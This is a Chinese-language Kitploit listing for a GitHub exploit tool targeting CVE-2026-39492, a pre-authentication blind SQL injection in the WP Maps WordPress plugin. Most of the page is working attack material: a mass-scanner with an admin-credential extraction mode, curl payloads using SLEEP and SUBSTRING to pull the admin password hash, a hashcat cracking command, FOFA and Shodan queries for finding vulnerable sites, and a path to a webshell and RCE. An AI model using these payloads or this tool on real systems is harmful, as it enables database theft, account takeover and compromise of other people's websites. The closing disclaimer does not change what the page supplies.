Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-39492 — CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 未经验证的盲注 SQL 注入批量扫描器 | sqlmap 式检测 | 反引号绕过 esc_sql() | 10万+ 安装量 | Kitploit
工具/GitHubGitHub/shinthink/cve-2026-39492
漏洞扫描器漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubshinthink/cve-2026-39492

CVE-2026-39492

CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 未经验证的盲注 SQL 注入批量扫描器 | sqlmap 式检测 | 反引号绕过 esc_sql() | 10万+ 安装量

查看仓库
152个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-39492 — WP Maps 盲 SQL 注入扫描器

通过反引号绕过实现未认证时间型盲 SQL 注入 → 数据库提取


概述

CVE-2026-39492 是 WP Maps 插件(wp-google-map-plugin)≤ 4.9.1 版本中存在的一个严重级别(CVSS 9.3)未认证盲 SQL 注入漏洞。

wpgmp_ajax_call AJAX 处理器通过 wp_ajax_nopriv_ 注册,允许未认证访问。location_id 参数会经由 FlipperCode_Model_Base::is_column() 传递——该函数错误地将以反引号包裹的输入视为可信的 SQL 列标识符,从而完全绕过了 WordPress 的 esc_sql() 清理。

受影响版本

WP Maps 版本状态
≤ 4.9.1存在漏洞
≥ 4.9.2已修复

活跃安装量: 100,000+


漏洞机制

根本原因

在插件的数据库抽象层中,is_column() 会检查用户输入是否被反引号包裹:

// Vulnerable: backtick-wrapped input treated as trusted column identifier
function is_column($value) {
    if (preg_match('/^`.*`$/', $value)) {
        return true;  // bypasses esc_sql() entirely!
    }
    return false;
}

当 is_column() 返回 true 时,输入会在未经 esc_sql() 转义的情况下直接传入 SQL 查询,从而允许:

location_id=`1` AND SLEEP(5) AND `1`=`1

攻击流程

1. Detect WP Maps via readme.txt → extract version
2. POST to /wp-admin/admin-ajax.php?action=wpgmp_ajax_call
3. Inject backtick-wrapped payload in location_id parameter
4. Measure response time — SLEEP(N) confirms SQL injection
5. Extract data via boolean/time-based blind technique

为什么是 CVSS 9.3

指标值
攻击向量网络
攻击复杂度低
所需权限无
用户交互无
影响范围已更改(影响整个数据库)
机密性高
完整性无
可用性低

安装

git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt

用法

# Single target detection
python cve_2026_39492.py -t target.com

# Mass scan
python cve_2026_39492.py -f targets.txt

# Mass scan + save results
python cve_2026_39492.py -f targets.txt -o sqli.txt

# Single target with credential extraction
python cve_2026_39492.py -t target.com --extract -v

# Verbose output
python cve_2026_39492.py -t target.com -v

参数

  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save vulnerable targets to file
  --threads         Concurrent workers (default: 20)
  --extract         Extract admin credentials from confirmed targets
  -v, --verbose     Show detailed output

概念验证

单目标

$ python cve_2026_39492.py -t target.com -v
  CVE-2026-39492 — WP Maps Blind SQL Injection Scanner
  CVSS 9.3 | Pre-Auth | wpgmp_ajax_call → Backtick Bypass

  Target: WP Maps (wp-google-map-plugin) <= 4.9.1
  Vector: admin-ajax.php?action=wpgmp_ajax_call → location_id
  Bypass: backtick-wrapped input bypasses esc_sql()

    [+] WP Maps detected: v4.9.0
    [*] SQLi test: 6.2s (threshold: 5s)
    [+] Blind SQLi CONFIRMED (response: 6.2s)

  Host        : target.com
  WP Maps     : YES v4.9.0
  SQLi        : YES
  Resp time   : 6.2s
  Time        : 7.1s

凭据提取

$ python cve_2026_39492.py -t target.com --extract -v
    [+] Blind SQLi CONFIRMED (response: 5.8s)
    [*] Extracting admin credentials via blind SQLi...
    [*] Extracting: admin_user
    [*] Extracting: $P$BqVg...

  Admin User  : admin_user
  Admin Hash  : $P$BqVg7xX...

批量扫描

  CVE-2026-39492  WP Maps Blind SQLi Scanner
  Targets: 2500 | Threads: 20
  Vector: wpgmp_ajax_call → location_id backtick bypass
  ───────────────────────────────────────────────────────

  [SQLi]    target-vuln.com                                 6.2s  v4.9.0       resp:6.2s
  [SQLi]    wp-maps-site.com                                5.8s  v4.8.5       resp:5.8s
  [500/2500] 20%  |  WP Maps:47  SQLi:12  |  current-target.com

  ───────────────────────────────────────────────────────
  Scan complete  |  Time: 320s
  ───────────────────────────────────────────────────────
  Targets        : 2500
  WP Maps found  : 47
  SQLi confirmed : 12

手动利用

步骤 1 — 检测插件

curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5

步骤 2 — 使用 SLEEP 测试 SQLi

time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND SLEEP(5) AND `1`=`1'

# Response > 5 seconds → VULNERABLE

步骤 3 — 通过盲 SQLi 提取管理员哈希

# Check first character of admin hash
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'

# Response > 3 seconds → first char is ASCII 36 = '$'

步骤 4 — 破解哈希并登录 → 完全 RCE

hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt

FOFA 搜索语法

body="wp-google-map-plugin"

Shodan

http.html:"wp-google-map-plugin"

影响

成功利用该漏洞可提取整个 WordPress 数据库:

  • 管理员密码哈希 → 破解 → 管理员登录 → 插件上传 → RCE
  • 用户 PII、电子邮件、会话令牌
  • 存储在 wp_options 中的 API 密钥
  • 如果存在 MySQL FILE 权限:SELECT ... INTO OUTFILE → webshell → 直接 RCE

免责声明

仅供教育和授权测试用途。

本软件面向执行授权渗透测试的安全专业人员、审计自有基础设施的组织以及研究漏洞利用的研究人员。

未经授权访问计算机系统属违法行为,可能违反:

  • 美国:计算机欺诈和滥用法(18 U.S.C. 1030)
  • 印度尼西亚:UU ITE 第 30 条和第 46 条
  • 欧盟:2013/40/EU 指令
  • 英国:1990 年计算机滥用法

作者对滥用行为不承担任何责任。


参考

资源链接
IONIX 公告ionix.io/threat-center/cve-2026-39492
WPScan 公告wpscan.com/vulnerability/c1f19d2e
Wordfence 公告wordfence.com
NVD 条目CVE-2026-39492
插件 Tracwp-google-map-plugin

本项目与 Flipper Code 或 WP Maps 无任何关联。

下载工具